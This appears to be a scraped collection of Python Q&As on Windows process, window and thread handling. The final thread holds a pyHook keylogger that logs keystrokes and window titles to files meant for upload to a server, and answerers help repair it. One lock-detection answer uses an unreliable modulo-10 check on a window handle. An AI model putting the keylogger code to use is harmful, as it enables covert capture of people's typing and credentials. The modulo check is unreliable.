get window handler from started process - python

I see there's win32process.GetWindowThreadProcess() that gets a window handler and returns it's process id. Is there a way to do the opposite: get the window handler of a running process by it's process id? Something like win32gui.GetWindowHandler(processId) ?
Specifically What I'm trying to do:
I have a python script that runs an external program, lets say notepad.exe.
Notepad is fired when runProgram() method is called. I want to prevent this method from running Notepad more than once. I accomplish this in the following way, using win32process:
import win32process as process
import sys
PORTABLE_APPLICATION_LOCATION = "C:\\Windows\\system32\\notepad.exe"
processHandler = -1
def runProgram():
global processHandler
#don't run a process more than once
if (isLiveProcess(processHandler)):
#Bring focus back to running window!
return;
try:
startObj = process.STARTUPINFO()
myProcessTuple = process.CreateProcess(PORTABLE_APPLICATION_LOCATION,None,None,None,8,8,None,None,startObj)
processHandler = myProcessTuple[2]
except:
print(sys.exc_info[0])
def isLiveProcess(processHandler): #Process handler is dwProcessId
processList = process.EnumProcesses()
for aProcess in processList:
if (aProcess == processHandler):
return True
return False
runProgram()
This works as expected, but if the process is found to be already alive, I'd like to bring it's window back to front with win32gui

I dont think that Windows API provides a method for this , but you could iterate over all open windows , and find the one that belongs to you .
I have modified your program so it looks like this :
import win32process
import win32process as process
import win32gui
import sys
PORTABLE_APPLICATION_LOCATION = "C:\\Windows\\system32\\notepad.exe"
processHandler = -1
def callback(hwnd, procid):
if procid in win32process.GetWindowThreadProcessId(hwnd):
win32gui.SetForegroundWindow(hwnd)
def show_window_by_process(procid):
win32gui.EnumWindows(callback, procid)
def runProgram():
global processHandler
#don't run a process more than once
if (isLiveProcess(processHandler)):
#Bring focus back to running window!
show_window_by_process(processHandler)
return;
try:
startObj = process.STARTUPINFO()
myProcessTuple = process.CreateProcess(PORTABLE_APPLICATION_LOCATION,None,None,None,8,8,None,None,startObj)
processHandler = myProcessTuple[2]
except:
print(sys.exc_info[0])
def isLiveProcess(processHandler): #Process handler is dwProcessId
processList = process.EnumProcesses()
for aProcess in processList:
if (aProcess == processHandler):
return True
return False
runProgram()

Related

How could I stop the script without having to wait for the time set for interval to pass?

In this script I was looking to launch a given program and monitor it as long as the program exists. Thus, I reached the point where I got to use the threading's module Timer method for controlling a loop that writes to a file and prints out to the console a specific stat of the launched process (for this case, mspaint).
The problem arises when I'm hitting CTRL + C in the console or when I close mspaint, with the script capturing any of the 2 events only after the time defined for the interval has completely ran out. These events make the script stop.
For example, if a 20 seconds time is set for the interval, once the script has started, if at second 5 I either hit CTRL + C or close mspaint, the script will stop only after the remaining 15 seconds will have passed.
I would like for the script to stop right away when I either hit CTRL + C or close mspaint (or any other process launched through this script).
The script can be used with the following command, according to the example:
python.exe mon_tool.py -p "C:\Windows\System32\mspaint.exe" -i 20
I'd really appreciate if you could come up with a working example.
I had used python 3.10.4 and psutil 5.9.0 .
This is the code:
# mon_tool.py
import psutil, sys, os, argparse
from subprocess import Popen
from threading import Timer
debug = False
def parse_args(args):
parser = argparse.ArgumentParser()
parser.add_argument("-p", "--path", type=str, required=True)
parser.add_argument("-i", "--interval", type=float, required=True)
return parser.parse_args(args)
def exceptionHandler(exception_type, exception, traceback, debug_hook=sys.excepthook):
'''Print user friendly error messages normally, full traceback if DEBUG on.
Adapted from http://stackoverflow.com/questions/27674602/hide-traceback-unless-a-debug-flag-is-set
'''
if debug:
print('\n*** Error:')
debug_hook(exception_type, exception, traceback)
else:
print("%s: %s" % (exception_type.__name__, exception))
sys.excepthook = exceptionHandler
def validate(data):
try:
if data.interval < 0:
raise ValueError
except ValueError:
raise ValueError(f"Time has a negative value: {data.interval}. Please use a positive value")
def main():
args = parse_args(sys.argv[1:])
validate(args)
# creates the "Process monitor data" folder in the "Documents" folder
# of the current Windows profile
default_path: str = f"{os.path.expanduser('~')}\\Documents\Process monitor data"
if not os.path.exists(default_path):
os.makedirs(default_path)
abs_path: str = f'{default_path}\data_test.txt'
print("data_test.txt can be found in: " + default_path)
# launches the provided process for the path argument, and
# it checks if the process was indeed launched
p: Popen[bytes] = Popen(args.path)
PID = p.pid
isProcess: bool = True
while isProcess:
for proc in psutil.process_iter():
if(proc.pid == PID):
isProcess = False
process_stats = psutil.Process(PID)
# creates the data_test.txt and it erases its content
with open(abs_path, 'w', newline='', encoding='utf-8') as testfile:
testfile.write("")
# loop for writing the handles count to data_test.txt, and
# for printing out the handles count to the console
def process_monitor_loop():
with open(abs_path, 'a', newline='', encoding='utf-8') as testfile:
testfile.write(f"{process_stats.num_handles()}\n")
print(process_stats.num_handles())
Timer(args.interval, process_monitor_loop).start()
process_monitor_loop()
if __name__ == '__main__':
main()
Thank you!
I think you could use python-worker (link) for the alternatives
import time
from datetime import datetime
from worker import worker, enableKeyboardInterrupt
# make sure to execute this before running the worker to enable keyboard interrupt
enableKeyboardInterrupt()
# your codes
...
# block lines with periodic check
def block_next_lines(duration):
t0 = time.time()
while time.time() - t0 <= duration:
time.sleep(0.05) # to reduce resource consumption
def main():
# your codes
...
#worker(keyboard_interrupt=True)
def process_monitor_loop():
while True:
print("hii", datetime.now().isoformat())
block_next_lines(3)
return process_monitor_loop()
if __name__ == '__main__':
main_worker = main()
main_worker.wait()
here your process_monitor_loop will be able to stop even if it's not exactly 20 sec of interval
You can try registering a signal handler for SIGINT, that way whenever the user presses Ctrl+C you can have a custom handler to clean all of your dependencies, like the interval, and exit gracefully.
See this for a simple implementation.
This is the solution for the second part of the problem, which checks if the launched process exists. If it doesn't exist, it stops the script.
This solution comes on top of the solution, for the first part of the problem, provided above by #danangjoyoo, which deals with stopping the script when CTRL + C is used.
Thank you very much once again, #danangjoyoo! :)
This is the code for the second part of the problem:
import time, psutil, sys, os
from datetime import datetime
from worker import worker, enableKeyboardInterrupt, abort_all_thread, ThreadWorkerManager
from threading import Timer
# make sure to execute this before running the worker to enable keyboard interrupt
enableKeyboardInterrupt()
# block lines with periodic check
def block_next_lines(duration):
t0 = time.time()
while time.time() - t0 <= duration:
time.sleep(0.05) # to reduce resource consumption
def main():
# launches mspaint, gets its PID and checks if it was indeed launched
path = f"C:\Windows\System32\mspaint.exe"
p = psutil.Popen(path)
PID = p.pid
isProcess: bool = True
while isProcess:
for proc in psutil.process_iter():
if(proc.pid == PID):
isProcess = False
interval = 5
global counter
counter = 0
#allows for sub_process to run only once
global run_sub_process_once
run_sub_process_once = 1
#worker(keyboard_interrupt=True)
def process_monitor_loop():
while True:
print("hii", datetime.now().isoformat())
def sub_proccess():
'''
Checks every second if the launched process still exists.
If the process doesn't exist anymore, the script will be stopped.
'''
print("Process online:", psutil.pid_exists(PID))
t = Timer(1, sub_proccess)
t.start()
global counter
counter += 1
print(counter)
# Checks if the worker thread is alive.
# If it is not alive, it will kill the thread spawned by sub_process
# hence, stopping the script.
for _, key in enumerate(ThreadWorkerManager.allWorkers):
w = ThreadWorkerManager.allWorkers[key]
if not w.is_alive:
t.cancel()
if not psutil.pid_exists(PID):
abort_all_thread()
t.cancel()
global run_sub_process_once
if run_sub_process_once:
run_sub_process_once = 0
sub_proccess()
block_next_lines(interval)
return process_monitor_loop()
if __name__ == '__main__':
main_worker = main()
main_worker.wait()
Also, I have to note that #danangjoyoo's solution comes as an alternative to signal.pause() for Windows. This only deals with CTRL + C problem part. signal.pause() works only for Unix systems. This is how it was supposed for its usage, for my case, in case it were a Unix system:
import signal, sys
from threading import Timer
def main():
def signal_handler(sig, frame):
print('\nYou pressed Ctrl+C!')
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
print('Press Ctrl+C')
def process_monitor_loop():
try:
print("hi")
except KeyboardInterrupt:
signal.pause()
Timer(10, process_monitor_loop).start()
process_monitor_loop()
if __name__ == '__main__':
main()
The code above is based on this.

Can I suppress message box from VBA using xlwings?

I am calling macros from VBA using xlwings (python 3.7). When run, the macro populates a message box
I was wondering if there's a way to suppress that (e.g. not showing the message box at all or click ok automatically) from the xlwings end (can't change macro, locked). My current setting looks like this:
app = xw.apps.active # open application instance
app.visible = False # Excel application not visible
app.display_alerts = False # supress alert messages
app.screen_updating = False # supress screen updates
Thanks!
As you can't change the macro, the left option is to click the OK button automatically. Obviously, you can't do it in the main process since it gets stuck once the message box occurs. So you need to create a child thread to do it concurrently, getting the main process back from stuck. In summary, you need two things:
a child thread, e.g. threading.Thread
a GUI automation library to catch the message box, e.g. pywin32, pywinauto or PyAutoGUI.
As you're using xlwings, pywin32 should be installed already as a dependency. So, use it here for example.
The whole process looks like:
import xlwings as xw
from listener import MsgBoxListener
# start child thread
listener = MsgBoxListener('Message-box-title-in-your-case', 3)
listener.start()
# main process as you did before
app = xw.apps.active # open application instance
app.visible = False # Excel application not visible
app.display_alerts = False # supress alert messages
app.screen_updating = False # supress screen updates
...
# stop listener thread
listener.stop()
Where MsgBoxListener is the child thread to catch and close the message box:
title is the title of message box, as hidden in your screenshot
interval is the frequency of detecting if exists a message box
# listener.py
import time
from threading import Thread, Event
import win32gui
import win32con
class MsgBoxListener(Thread):
def __init__(self, title:str, interval:int):
Thread.__init__(self)
self._title = title
self._interval = interval
self._stop_event = Event()
def stop(self): self._stop_event.set()
#property
def is_running(self): return not self._stop_event.is_set()
def run(self):
while self.is_running:
try:
time.sleep(self._interval)
self._close_msgbox()
except Exception as e:
print(e, flush=True)
def _close_msgbox(self):
# find the top window by title
hwnd = win32gui.FindWindow(None, self._title)
if not hwnd: return
# find child button
h_btn = win32gui.FindWindowEx(hwnd, None,'Button', None)
if not h_btn: return
# show text
text = win32gui.GetWindowText(h_btn)
print(text)
# click button
win32gui.PostMessage(h_btn, win32con.WM_LBUTTONDOWN, None, None)
time.sleep(0.2)
win32gui.PostMessage(h_btn, win32con.WM_LBUTTONUP, None, None)
time.sleep(0.2)
if __name__=='__main__':
t = MsgBoxListener('Microsoft Excel', 1)
t.start()
time.sleep(10)
t.stop()

How to make my code stopable? (Not killing/interrupting)

I'm asking this question in a more broad spectrum because I'm not facing this specific issue right now, but I'm wondering how to do it in the future.
If I have a long running python script, that is supposed to do something all the time (could be a infine loop, if that helps). The code is started by running python main.py command on a terminal.
The code doesn't have an ending, so there will be no sys.exit().
I don't want to use KeyboardInterrupt and I don't want to kill the task. Because those options are abrupt, and you can't predict precisely at what point you are stoping the code.
Is there a way to 'softly' terminate the code when I eventually decide to fo it? For example using another command, preparing a class or running another script?
What would be the best practice for this?
PS.: Please, bear in mind that I'm a novice coder.
EDIT:
I'm adding some generic code, in order to make my question clearer.
import time,csv
import GenericAPI
class GenericDataCollector:
def __init__(self):
self.generic_api = GenericAPI()
def collect_data(self):
while True: #Maybe this could be a var that is changed from outside of the class?
data = self.generic_api.fetch_data() #Returns a JSON with some data
self.write_on_csv(data)
time.sleep(1)
def write_on_csv(self, data):
with open('file.csv','wt') as f:
writer = csv.writer(f)
writer.writerow(data)
def run():
obj = GenericDataCollector()
obj.collect_data()
if __name__ == "__main__":
run()
In this particular case, the class is collecting data from some generic API (that comes in JSON) and writing it in a csv file, in a infinite loop. How could I code a way (method?) to stop it (when called uppon, so unexpected), without abruptly interrupting (Ctrl+C or killing task).
I would recommend use the signal module. This allows you to handle signal interrupts (SIGINT) and clean up the program before your exit. Take the following code for example:
import signal
running = True
def handle(a, b):
global running
running = False
# catch the SIGINT signal and call handle() when the process
# receives it
signal.signal(signal.SIGINT, handle)
# your code here
while running:
pass
You can still exit with a Ctrl+C, but what you put in the while loop will not be cut off half way.
Based on #Calder White, how about this (not tested):
import signal
import time,csv
import GenericAPI
class GenericDataCollector:
def __init__(self):
self.generic_api = GenericAPI()
self.cont = True
def collect_data(self):
while self.cont:
signal.signal(signal.SIGINT, self.handle)
data = self.generic_api.fetch_data() #Returns a JSON with some data
self.write_on_csv(data)
time.sleep(1)
def handle(self):
self.cont = False
def write_on_csv(self, data):
with open('file.csv','wt') as f:
writer = csv.writer(f)
writer.writerow(data)
def run():
obj = GenericDataCollector()
obj.collect_data()
if __name__ == "__main__":
run()

In Python 3, how can I tell if Windows is locked?

How can I check whether a Windows OS workstation is locked? (e.g. Win+L or choosing the lock option after Ctrl+Alt+Del.)
I want something like ctypes.windll.user32.isWorkstationLocked().
This code worked today for me on four different Windows 7 and 10 machines, try something similar:
import ctypes
import time
user32 = ctypes.windll.User32
time.sleep(5)
#
#print(user32.GetForegroundWindow())
#
if (user32.GetForegroundWindow() % 10 == 0): print('Locked')
# 10553666 - return code for unlocked workstation1
# 0 - return code for locked workstation1
#
# 132782 - return code for unlocked workstation2
# 67370 - return code for locked workstation2
#
# 3216806 - return code for unlocked workstation3
# 1901390 - return code for locked workstation3
#
# 197944 - return code for unlocked workstation4
# 0 - return code for locked workstation4
#
else: print('Unlocked')
Edit: Also, this one works today:
import subprocess
import time
time.sleep(5)
process_name='LogonUI.exe'
callall='TASKLIST'
outputall=subprocess.check_output(callall)
outputstringall=str(outputall)
if process_name in outputstringall:
print("Locked.")
else:
print("Unlocked.")
A hack I discovered to get around to see if Windows 10 is locked is to look at the running processes using psutil. You then search to see whether or not LogonUI.exe is running. This process only runs when a user has a locked session.
Note: If you use "switch users" this process will be shown as running and this workaround will not work. Windows actually spawns multiple LogonUI.exe processes, one per logged on locked user. It is only useful when there is only one person logged on at a time.
import psutil
for proc in psutil.process_iter():
if(proc.name() == "LogonUI.exe"):
print ("Locked")
You can get the window on top, when the session is locked, the function return 0.
import ctypes
user32 = ctypes.windll.User32
def isLocked():
return user32.GetForegroundWindow() == 0
Something like this should do the trick:
import time
import ctypes
user32 = ctypes.windll.User32
OpenDesktop = user32.OpenDesktopA
SwitchDesktop = user32.SwitchDesktop
DESKTOP_SWITCHDESKTOP = 0x0100
while 1:
hDesktop = OpenDesktop ("default", 0, False, DESKTOP_SWITCHDESKTOP)
result = SwitchDesktop (hDesktop)
if result:
print "Unlocked"
time.sleep (1.0)
else:
print time.asctime (), "still locked"
time.sleep (2)
From the LockWorkStation() documentation:
There is no function you can call to determine whether the workstation is locked.
Not a Python limitation, but the system itself.
What works for me on Windows 10 Pro is getting the foreground window:
whnd = win32gui.GetForegroundWindow()
(_, pid) = win32process.GetWindowThreadProcessId(whnd)
handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, pid)
filename = win32process.GetModuleFileNameEx(handle, 0)
window_text = win32gui.GetWindowText(whnd)
This returns Windows Default Lock Screen as window title and C:\Windows\SystemApp\Microsoft.LockApp_<randomcharacters>\LockApp.exe as filename when locked.
However, as James Koss mentioned, GetForeGroundWindow will return 0 if the user is typing their password. There are also other (non-locked) situations where the current ForegroundWindow is 0, so this cannot be relied upon.
Hi Check these 4 lines..
returns the application name which is on the screen.. if window is locked returns the string - Windows Default Lock Screen.
from win32gui import GetWindowText, GetForegroundWindow
import time
time.sleep(5)
# lock the system or open the application for a check
print(GetWindowText(GetForegroundWindow()))
Based on #Stardidi answer, this worked for me (Windows 10 Pro):
import time
import win32gui
import win32api
import win32con
import win32process
while True:
time.sleep(1)
_, pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow())
try:
handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, pid)
filename = win32process.GetModuleFileNameEx(handle, 0)
except Exception as _e:
filename = "LockApp.exe"
del _e
current_status = "locked" if "LockApp" in filename else "unlocked"
There is no easy answer here, but you can do this via Session Tracking.
From the LockWorkStation() documentation:
There is no function you can call to determine whether the workstation is locked. To receive notification when the user logs in, use the WTSRegisterSessionNotification function to receive WM_WTSSESSION_CHANGE messages. You can use session notifications to track the desktop state so you know whether it is possible to interact with the user.
Begin by registering session notifications to a window of your program.
def register(handle: HWND) -> bool:
"""
#param handle: handle for your message window.
When registered, Windows Messages related to session event changes will be
sent to the message window.
#returns: True is session tracking is successfully registered.
Blocks until Windows accepts session tracking registration.
Every call to this function must be paired with a call to unregister.
https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtsregistersessionnotification
"""
# OpenEvent handle must be closed with CloseHandle.
eventObjectHandle: HANDLE = ctypes.windll.kernel32.OpenEventW(
# Blocks until WTS session tracking can be registered.
# Windows needs time for the WTS session tracking service to initialize.
# must ensure that the WTS session tracking service is ready before trying to register
SYNCHRONIZE, # DWORD dwDesiredAccess
False, # BOOL bInheritHandle - sub-processes do not need to inherit this handle
# According to the docs, when the Global\TermSrvReadyEvent global event is set,
# all dependent services have started and WTSRegisterSessionNotification can be successfully called.
# https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtsregistersessionnotification#remarks
"Global\\TermSrvReadyEvent" # LPCWSTR lpName - The name of the event object.
)
if not eventObjectHandle:
error = ctypes.WinError()
log.error("Unexpected error waiting to register session tracking.")
return False
registrationSuccess = ctypes.windll.wtsapi32.WTSRegisterSessionNotification(handle, NOTIFY_FOR_THIS_SESSION)
ctypes.windll.kernel32.CloseHandle(eventObjectHandle)
if registrationSuccess:
log.debug("Registered session tracking")
else:
error = ctypes.WinError()
if error.errno == RPC_S_INVALID_BINDING:
log.error(
"WTS registration failed. "
"Waited successfully on TermSrvReadyEvent to ensure that WTS is ready to allow registration. "
"Cause of failure unknown. "
)
else:
log.error("Unexpected error registering session tracking.")
return registrationSuccess
def unregister(handle: HWND) -> None:
"""
This function must be called once for every call to register.
If unregistration fails, session tracking may not work properly until the session can be unregistered in a new instance.
https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtsunregistersessionnotification
"""
if ctypes.windll.wtsapi32.WTSUnRegisterSessionNotification(handle):
log.debug("Unregistered session tracking")
else:
error = ctypes.WinError()
log.error("Unexpected error unregistering session tracking.")
In your Window Message handler for the window, when you receive WM_WTSSESSION_CHANGE, handle WTS_SESSION_UNLOCK and WTS_SESSION_LOCK events to track the state of Windows being locked.
A similar answer here might give more context on handling windows messages.

Python threading with pyhook

import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def fi():
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Thread(target = fi).start()
Thread(target = OnKeyboardEvent(event)).start()
The first block of code def fi() is making a new file when the file size goes more than 20KB . The second block is a keylogger and logs the key in the file. I am new to python and multi-threading. Now when i run this code. i can only get the keylogger working and no file is formed and no logs are created. Please help me with this one.
All i need from this code is to create a log file named on the current time and log all the keywords into the file. and then if the file becomes more than 20KB then it should upload the old file to the server and make a new file with the new current time. I am new to python thats why i am not sure of what this code is wrong in and what it is not doing .*
First problem
You do create two Threads - but the target of the second is the return value of OnKeyboardEvent(event). This has no return-statement, so the return value is None, so the Thread has no target.
Second problem
Your code never reaches the if __name__ == "__main__":-part. It blocks on pythoncom.PumpMessages(), at least for me.
Third problem
At first I was confused how your code could run without throwing an exception - event in the last line isn't defined earlier in this scope. But problem 2 prevents problem 3 from becoming effective at the moment, but if you fix this, you'll have to face number 3 as well.
Solution
Honestly, I do not really understand what you are trying to do. You should definitely fix each of the problems.
Don't call the target of a thread, give the thread a function-object. If you need arguments, use the args-argument of Thread, e.g. Thread(target = OnKeyboardEvent, args=(event)).start()
I do not know the usage of pythoncom too well. Maybe pythocom.PumpWaitingMessages() is what you want?
I have no idea what you're trying to do here. Why do you want to call a callback-function in a Thread? This function has no loop or anything, so it will run once and stop. I guess it was just a desperate try?
General remarks
I'd not recommend redefining sys.stdout unless you really have to do so.
Please close() files you open. Maybe consider using the with-statement.
Even better: make use of the logging-module. It offers a lot of different possibilities.
When you create a Thread, think about the end. When will it stop? How can you stop it from another Thread?
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def OnKeyboardEvent(event):
# Now you can access your hookmanager, and change which keys you want
# to watch. Using 'event' and 'hm', you can do some fun stuff in here.
global hm
global lastWindow
window=win32gui.GetWindowText(win32gui.GetForegroundWindow())
####window = event.WindowName
####I'm not sure, but these last two functions may not return the "exact"
####name values. I would call the same function you trying to compare against.
key = chr(event.Ascii)
if window != lastWindow: ## Now you know these at least come from same function
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
def fi(): #This is your "worker loop"
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
if __name__ == '__main__':
"""This stuff only executes once"""
global lastWindow
lastWindow = None
lastWindow=win32gui.GetWindowText(win32gui.GetForegroundWindow())
print lastWindow
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
Thread(target = fi).start() #This is your worker loop
# We don't need this. OnKeyboardEvent will get callbacks from system
# thanks to Hookmanager and PumpMessages
##Thread(target = OnKeyboardEvent(event)).start()
# You wouldn't want to do it with the way we are set up, but this is a "polite"
# way to get PumpMessages to return...
#ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
I noticed your edit/comment on the original message. If you are still working on this, here is what I suggest.
Forget about the logging, threading, and other stuff you are trying to do. Focus on getting PyHook to work in its most simple state. From the original code, it seems you are struggling to get pyHook set up correctly (note, i do not currently have pyhook installed, so this is not tested code):
import pyHook
def OnKeyboardEvent(event):
print(event)
if __name__ == '__main__':
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted,
# so get everything ready before you execute this.
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
This code aims to simply hook any keypress event, print the event instance to the console. Technically you should not do much work INSIDE the event callback (it should return as quickly as possible), but for the sake of testing, you might be able to put some of your worker-functions in the event loop. THis would only be temporary, until you are ready to mix in your threaded worker loop. (and don't be surprised if file-access functions cause errors).
Get this working first. Then try storing stdout to a file. (forget about the 20Kb file limit for the time being).

Categories

Resources